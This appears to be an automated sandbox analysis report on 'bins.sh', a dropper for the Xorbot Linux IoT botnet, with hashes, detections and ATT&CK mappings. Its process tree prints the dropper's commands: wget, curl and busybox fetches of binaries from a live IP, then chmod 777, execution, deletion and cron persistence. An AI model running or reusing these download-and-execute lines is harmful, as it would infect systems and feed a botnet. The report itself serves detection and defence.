xorbot | c509c573c529265705568c813e7fc574c747aa0e20d793a8ed7ceab7858120a1

Analysis

max time kernel
149s
max time network
152s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20240611-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
13/12/2024, 16:24

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General

Target

bins.sh
Size

10KB
MD5

463d40b16cad606abb2ee5f790a95485
SHA1

37b9e2b09a0e3845e35c7253dd9b3a34218760d5
SHA256

c509c573c529265705568c813e7fc574c747aa0e20d793a8ed7ceab7858120a1
SHA512

2aa4e7fc1db951e89888ce7cc9846c7a618e64ce30db24177ee13397ed06188213b7a75bab118c8682c03d0dfa0158918840bd82ced984632be702edf7116a22
SSDEEP

192:QX34fzQeK1CiaZhahloYFDVmZRKx1EYZDOlAo9os9Ao9osgX34fzqeK1CimZhah2:QX34fzxYFxmZRrYZOYX34fzKFxmZRV

Score

10^/10

xorbot botnet defense_evasion discovery execution persistence privilege_escalatio trojan

Malware Config

Signatures

Detects Xorbot 4 IoCs

botnet trojan

resource	yara_rule
behavioral1/files/fstream-1.dat	family_xorbot
behavioral1/files/fstream-3.dat	family_xorbot
behavioral1/files/fstream-5.dat	family_xorbot
behavioral1/files/fstream-7.dat	family_xorbot

Xorbot
Xorbot is a linux botnet and trojan targeting IoT devices.
botnet trojan xorbot
Xorbot family
xorbot
Contacts a large (2174) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

File and Directory Permissions Modification 1 TTPs 4 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
1538	chmod
1509	chmod
1524	chmod
1531	chmod

Executes dropped EXE 4 IoCs

ioc	pid	Process
/tmp/qoXsN9kY9i3YdIs3oQgv4pi4cJ4k7ga8ic	1510	qoXsN9kY9i3YdIs3oQgv4pi4cJ4k7ga8ic
/tmp/ar9cXdFlkKroYPYdcKo6AqDIfnIjTM9hes	1525	ar9cXdFlkKroYPYdcKo6AqDIfnIjTM9hes
/tmp/9t77ywiPVu9wkZY7qZhfbVx6BydQdTdMpJ	1532	9t77ywiPVu9wkZY7qZhfbVx6BydQdTdMpJ
/tmp/fpEADyBdbuR6JX3zJGOsGEyT9WAwrJlmHi	1539	fpEADyBdbuR6JX3zJGOsGEyT9WAwrJlmHi

Renames itself 1 IoCs

pid	Process
1540	fpEADyBdbuR6JX3zJGOsGEyT9WAwrJlmHi

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalatio

Cron

T1053.003

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.TtGa5B	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/1807/cmdline	fpEADyBdbuR6JX3zJGOsGEyT9WAwrJlmHi
File opened for reading	/proc/178/cmdline	fpEADyBdbuR6JX3zJGOsGEyT9WAwrJlmHi
File opened for reading	/proc/686/cmdline	fpEADyBdbuR6JX3zJGOsGEyT9WAwrJlmHi
File opened for reading	/proc/996/cmdline	fpEADyBdbuR6JX3zJGOsGEyT9WAwrJlmHi
File opened for reading	/proc/1563/cmdline	fpEADyBdbuR6JX3zJGOsGEyT9WAwrJlmHi
File opened for reading	/proc/1556/cmdline	fpEADyBdbuR6JX3zJGOsGEyT9WAwrJlmHi
File opened for reading	/proc/1586/cmdline	fpEADyBdbuR6JX3zJGOsGEyT9WAwrJlmHi
File opened for reading	/proc/1703/cmdline	fpEADyBdbuR6JX3zJGOsGEyT9WAwrJlmHi
File opened for reading	/proc/1811/cmdline	fpEADyBdbuR6JX3zJGOsGEyT9WAwrJlmHi
File opened for reading	/proc/32/cmdline	fpEADyBdbuR6JX3zJGOsGEyT9WAwrJlmHi
File opened for reading	/proc/35/cmdline	fpEADyBdbuR6JX3zJGOsGEyT9WAwrJlmHi
File opened for reading	/proc/31/cmdline	fpEADyBdbuR6JX3zJGOsGEyT9WAwrJlmHi
File opened for reading	/proc/583/cmdline	fpEADyBdbuR6JX3zJGOsGEyT9WAwrJlmHi
File opened for reading	/proc/1621/cmdline	fpEADyBdbuR6JX3zJGOsGEyT9WAwrJlmHi
File opened for reading	/proc/1665/cmdline	fpEADyBdbuR6JX3zJGOsGEyT9WAwrJlmHi
File opened for reading	/proc/1682/cmdline	fpEADyBdbuR6JX3zJGOsGEyT9WAwrJlmHi
File opened for reading	/proc/1691/cmdline	fpEADyBdbuR6JX3zJGOsGEyT9WAwrJlmHi
File opened for reading	/proc/16/cmdline	fpEADyBdbuR6JX3zJGOsGEyT9WAwrJlmHi
File opened for reading	/proc/30/cmdline	fpEADyBdbuR6JX3zJGOsGEyT9WAwrJlmHi
File opened for reading	/proc/1795/cmdline	fpEADyBdbuR6JX3zJGOsGEyT9WAwrJlmHi
File opened for reading	/proc/1797/cmdline	fpEADyBdbuR6JX3zJGOsGEyT9WAwrJlmHi
File opened for reading	/proc/1693/cmdline	fpEADyBdbuR6JX3zJGOsGEyT9WAwrJlmHi
File opened for reading	/proc/1771/cmdline	fpEADyBdbuR6JX3zJGOsGEyT9WAwrJlmHi
File opened for reading	/proc/1732/cmdline	fpEADyBdbuR6JX3zJGOsGEyT9WAwrJlmHi
File opened for reading	/proc/1763/cmdline	fpEADyBdbuR6JX3zJGOsGEyT9WAwrJlmHi
File opened for reading	/proc/1764/cmdline	fpEADyBdbuR6JX3zJGOsGEyT9WAwrJlmHi
File opened for reading	/proc/1782/cmdline	fpEADyBdbuR6JX3zJGOsGEyT9WAwrJlmHi
File opened for reading	/proc/1571/cmdline	fpEADyBdbuR6JX3zJGOsGEyT9WAwrJlmHi
File opened for reading	/proc/1637/cmdline	fpEADyBdbuR6JX3zJGOsGEyT9WAwrJlmHi
File opened for reading	/proc/171/cmdline	fpEADyBdbuR6JX3zJGOsGEyT9WAwrJlmHi
File opened for reading	/proc/1117/cmdline	fpEADyBdbuR6JX3zJGOsGEyT9WAwrJlmHi
File opened for reading	/proc/1580/cmdline	fpEADyBdbuR6JX3zJGOsGEyT9WAwrJlmHi
File opened for reading	/proc/1642/cmdline	fpEADyBdbuR6JX3zJGOsGEyT9WAwrJlmHi
File opened for reading	/proc/1687/cmdline	fpEADyBdbuR6JX3zJGOsGEyT9WAwrJlmHi
File opened for reading	/proc/23/cmdline	fpEADyBdbuR6JX3zJGOsGEyT9WAwrJlmHi
File opened for reading	/proc/24/cmdline	fpEADyBdbuR6JX3zJGOsGEyT9WAwrJlmHi
File opened for reading	/proc/1836/cmdline	fpEADyBdbuR6JX3zJGOsGEyT9WAwrJlmHi
File opened for reading	/proc/1088/cmdline	fpEADyBdbuR6JX3zJGOsGEyT9WAwrJlmHi
File opened for reading	/proc/1671/cmdline	fpEADyBdbuR6JX3zJGOsGEyT9WAwrJlmHi
File opened for reading	/proc/1141/cmdline	fpEADyBdbuR6JX3zJGOsGEyT9WAwrJlmHi
File opened for reading	/proc/1578/cmdline	fpEADyBdbuR6JX3zJGOsGEyT9WAwrJlmHi
File opened for reading	/proc/514/cmdline	fpEADyBdbuR6JX3zJGOsGEyT9WAwrJlmHi
File opened for reading	/proc/1002/cmdline	fpEADyBdbuR6JX3zJGOsGEyT9WAwrJlmHi
File opened for reading	/proc/1149/cmdline	fpEADyBdbuR6JX3zJGOsGEyT9WAwrJlmHi
File opened for reading	/proc/1552/cmdline	fpEADyBdbuR6JX3zJGOsGEyT9WAwrJlmHi
File opened for reading	/proc/1695/cmdline	fpEADyBdbuR6JX3zJGOsGEyT9WAwrJlmHi
File opened for reading	/proc/1810/cmdline	fpEADyBdbuR6JX3zJGOsGEyT9WAwrJlmHi
File opened for reading	/proc/177/cmdline	fpEADyBdbuR6JX3zJGOsGEyT9WAwrJlmHi
File opened for reading	/proc/1101/cmdline	fpEADyBdbuR6JX3zJGOsGEyT9WAwrJlmHi
File opened for reading	/proc/1603/cmdline	fpEADyBdbuR6JX3zJGOsGEyT9WAwrJlmHi
File opened for reading	/proc/1677/cmdline	fpEADyBdbuR6JX3zJGOsGEyT9WAwrJlmHi
File opened for reading	/proc/1645/cmdline	fpEADyBdbuR6JX3zJGOsGEyT9WAwrJlmHi
File opened for reading	/proc/115/cmdline	fpEADyBdbuR6JX3zJGOsGEyT9WAwrJlmHi
File opened for reading	/proc/1567/cmdline	fpEADyBdbuR6JX3zJGOsGEyT9WAwrJlmHi
File opened for reading	/proc/1243/cmdline	fpEADyBdbuR6JX3zJGOsGEyT9WAwrJlmHi
File opened for reading	/proc/1590/cmdline	fpEADyBdbuR6JX3zJGOsGEyT9WAwrJlmHi
File opened for reading	/proc/1820/cmdline	fpEADyBdbuR6JX3zJGOsGEyT9WAwrJlmHi
File opened for reading	/proc/661/cmdline	fpEADyBdbuR6JX3zJGOsGEyT9WAwrJlmHi
File opened for reading	/proc/1068/cmdline	fpEADyBdbuR6JX3zJGOsGEyT9WAwrJlmHi
File opened for reading	/proc/1604/cmdline	fpEADyBdbuR6JX3zJGOsGEyT9WAwrJlmHi
File opened for reading	/proc/1816/cmdline	fpEADyBdbuR6JX3zJGOsGEyT9WAwrJlmHi
File opened for reading	/proc/20/cmdline	fpEADyBdbuR6JX3zJGOsGEyT9WAwrJlmHi
File opened for reading	/proc/168/cmdline	fpEADyBdbuR6JX3zJGOsGEyT9WAwrJlmHi
File opened for reading	/proc/1814/cmdline	fpEADyBdbuR6JX3zJGOsGEyT9WAwrJlmHi

System Network Configuration Discovery 1 TTPs 5 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
1528	wget
1529	curl
1530	busybox
1532	9t77ywiPVu9wkZY7qZhfbVx6BydQdTdMpJ
1534	rm

Writes file to tmp directory 12 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/9t77ywiPVu9wkZY7qZhfbVx6BydQdTdMpJ	busybox
File opened for modification	/tmp/fpEADyBdbuR6JX3zJGOsGEyT9WAwrJlmHi	wget
File opened for modification	/tmp/fpEADyBdbuR6JX3zJGOsGEyT9WAwrJlmHi	busybox
File opened for modification	/tmp/qoXsN9kY9i3YdIs3oQgv4pi4cJ4k7ga8ic	curl
File opened for modification	/tmp/ar9cXdFlkKroYPYdcKo6AqDIfnIjTM9hes	wget
File opened for modification	/tmp/9t77ywiPVu9wkZY7qZhfbVx6BydQdTdMpJ	wget
File opened for modification	/tmp/ar9cXdFlkKroYPYdcKo6AqDIfnIjTM9hes	busybox
File opened for modification	/tmp/9t77ywiPVu9wkZY7qZhfbVx6BydQdTdMpJ	curl
File opened for modification	/tmp/fpEADyBdbuR6JX3zJGOsGEyT9WAwrJlmHi	curl
File opened for modification	/tmp/qoXsN9kY9i3YdIs3oQgv4pi4cJ4k7ga8ic	wget
File opened for modification	/tmp/qoXsN9kY9i3YdIs3oQgv4pi4cJ4k7ga8ic	busybox
File opened for modification	/tmp/ar9cXdFlkKroYPYdcKo6AqDIfnIjTM9hes	curl

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:1501
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:1502
- /usr/bin/wget
  wget http://37.44.238.68/bins/qoXsN9kY9i3YdIs3oQgv4pi4cJ4k7ga8ic
  2⤵
  - Writes file to tmp directory
  PID:1503
- /usr/bin/curl
  curl -O http://37.44.238.68/bins/qoXsN9kY9i3YdIs3oQgv4pi4cJ4k7ga8ic
  2⤵
  - Writes file to tmp directory
  PID:1504
- /bin/busybox
  /bin/busybox wget http://37.44.238.68/bins/qoXsN9kY9i3YdIs3oQgv4pi4cJ4k7ga8ic
  2⤵
  - Writes file to tmp directory
  PID:1508
- /bin/chmod
  chmod 777 qoXsN9kY9i3YdIs3oQgv4pi4cJ4k7ga8ic
  2⤵
  - File and Directory Permissions Modification
  PID:1509
- /tmp/qoXsN9kY9i3YdIs3oQgv4pi4cJ4k7ga8ic
  ./qoXsN9kY9i3YdIs3oQgv4pi4cJ4k7ga8ic
  2⤵
  - Executes dropped EXE
  PID:1510
- /bin/rm
  rm qoXsN9kY9i3YdIs3oQgv4pi4cJ4k7ga8ic
  2⤵
  PID:1512
- /usr/bin/wget
  wget http://37.44.238.68/bins/ar9cXdFlkKroYPYdcKo6AqDIfnIjTM9hes
  2⤵
  - Writes file to tmp directory
  PID:1513
- /usr/bin/curl
  curl -O http://37.44.238.68/bins/ar9cXdFlkKroYPYdcKo6AqDIfnIjTM9hes
  2⤵
  - Writes file to tmp directory
  PID:1514
- /bin/busybox
  /bin/busybox wget http://37.44.238.68/bins/ar9cXdFlkKroYPYdcKo6AqDIfnIjTM9hes
  2⤵
  - Writes file to tmp directory
  PID:1522
- /bin/chmod
  chmod 777 ar9cXdFlkKroYPYdcKo6AqDIfnIjTM9hes
  2⤵
  - File and Directory Permissions Modification
  PID:1524
- /tmp/ar9cXdFlkKroYPYdcKo6AqDIfnIjTM9hes
  ./ar9cXdFlkKroYPYdcKo6AqDIfnIjTM9hes
  2⤵
  - Executes dropped EXE
  PID:1525
- /bin/rm
  rm ar9cXdFlkKroYPYdcKo6AqDIfnIjTM9hes
  2⤵
  PID:1527
- /usr/bin/wget
  wget http://37.44.238.68/bins/9t77ywiPVu9wkZY7qZhfbVx6BydQdTdMpJ
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1528
- /usr/bin/curl
  curl -O http://37.44.238.68/bins/9t77ywiPVu9wkZY7qZhfbVx6BydQdTdMpJ
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1529
- /bin/busybox
  /bin/busybox wget http://37.44.238.68/bins/9t77ywiPVu9wkZY7qZhfbVx6BydQdTdMpJ
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1530
- /bin/chmod
  chmod 777 9t77ywiPVu9wkZY7qZhfbVx6BydQdTdMpJ
  2⤵
  - File and Directory Permissions Modification
  PID:1531
- /tmp/9t77ywiPVu9wkZY7qZhfbVx6BydQdTdMpJ
  ./9t77ywiPVu9wkZY7qZhfbVx6BydQdTdMpJ
  2⤵
  - Executes dropped EXE
  - System Network Configuration Discovery
  PID:1532
- /bin/rm
  rm 9t77ywiPVu9wkZY7qZhfbVx6BydQdTdMpJ
  2⤵
  - System Network Configuration Discovery
  PID:1534
- /usr/bin/wget
  wget http://37.44.238.68/bins/fpEADyBdbuR6JX3zJGOsGEyT9WAwrJlmHi
  2⤵
  - Writes file to tmp directory
  PID:1535
- /usr/bin/curl
  curl -O http://37.44.238.68/bins/fpEADyBdbuR6JX3zJGOsGEyT9WAwrJlmHi
  2⤵
  - Writes file to tmp directory
  PID:1536
- /bin/busybox
  /bin/busybox wget http://37.44.238.68/bins/fpEADyBdbuR6JX3zJGOsGEyT9WAwrJlmHi
  2⤵
  - Writes file to tmp directory
  PID:1537
- /bin/chmod
  chmod 777 fpEADyBdbuR6JX3zJGOsGEyT9WAwrJlmHi
  2⤵
  - File and Directory Permissions Modification
  PID:1538
- /tmp/fpEADyBdbuR6JX3zJGOsGEyT9WAwrJlmHi
  ./fpEADyBdbuR6JX3zJGOsGEyT9WAwrJlmHi
  2⤵
  - Executes dropped EXE
  - Renames itself
  - Reads runtime system information
  PID:1539
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:1541
  - - /usr/bin/crontab
      crontab -l
      4⤵
      PID:1542
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:1543
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      PID:1544
- /bin/rm
  rm fpEADyBdbuR6JX3zJGOsGEyT9WAwrJlmHi
  2⤵
  PID:1546
- /usr/bin/wget
  wget http://37.44.238.68/bins/uGBPaNerFOwgt3nvit2IxpcPkE0TskdNXE
  2⤵
  PID:1549

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Network Service Discovery

T1046

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

/tmp/9t77ywiPVu9wkZY7qZhfbVx6BydQdTdMpJ

Filesize
107KB

MD5
eb9c3a0de91fcf16ba17cb24608df68c

SHA1
09d95a7d70d5e115d103be51edff7c498d272fac

SHA256
dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47

SHA512
9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27

Download Submit
/tmp/ar9cXdFlkKroYPYdcKo6AqDIfnIjTM9hes

Filesize
122KB

MD5
cd3d4b9c643e5b473fb4d88ed05f0716

SHA1
64ee7a97418583d759eaea8000890cc3bae1b5f4

SHA256
0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944

SHA512
164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52

Download Submit
/tmp/fpEADyBdbuR6JX3zJGOsGEyT9WAwrJlmHi

Filesize
112KB

MD5
05d7857dcead18bbd86d2935f591873c

SHA1
34d18f41ef35f93d5364ce3e24d74730a4e91985

SHA256
2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

SHA512
d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

Download Submit
/tmp/qoXsN9kY9i3YdIs3oQgv4pi4cJ4k7ga8ic

Filesize
111KB

MD5
ca897a38f23ec23521ce0b1b83f8422d

SHA1
b8d2ab335346aba9a72bae0fe3533aca1ab7b66a

SHA256
043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832

SHA512
10d3026b43167121b62786dde231a04e25eb27905989f59a92b5eba92134e30cea554a73e419d3a505e650ee4c474ee407103df335cd84bd8c0f3428ccc16feb

Download Submit
/var/spool/cron/crontabs/tmp.TtGa5B

Filesize
210B

MD5
2f94def7536cf4139d62b9703b291b64

SHA1
06d2dc6ef6bdca8525fe4d495ed487e6b7481e36

SHA256
3bcd7b15a29bae354877d4530c562af61ae9334c9980d947f91d7a92046a928a

SHA512
a4b137de2d84bfcbec8a90915e7195bed7fbaece154585153f86d27cb4db07fb91a3635adbbf04ba845f5527b649ddc08a053765d5b118acf86687ae57b44149

Download Submit

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads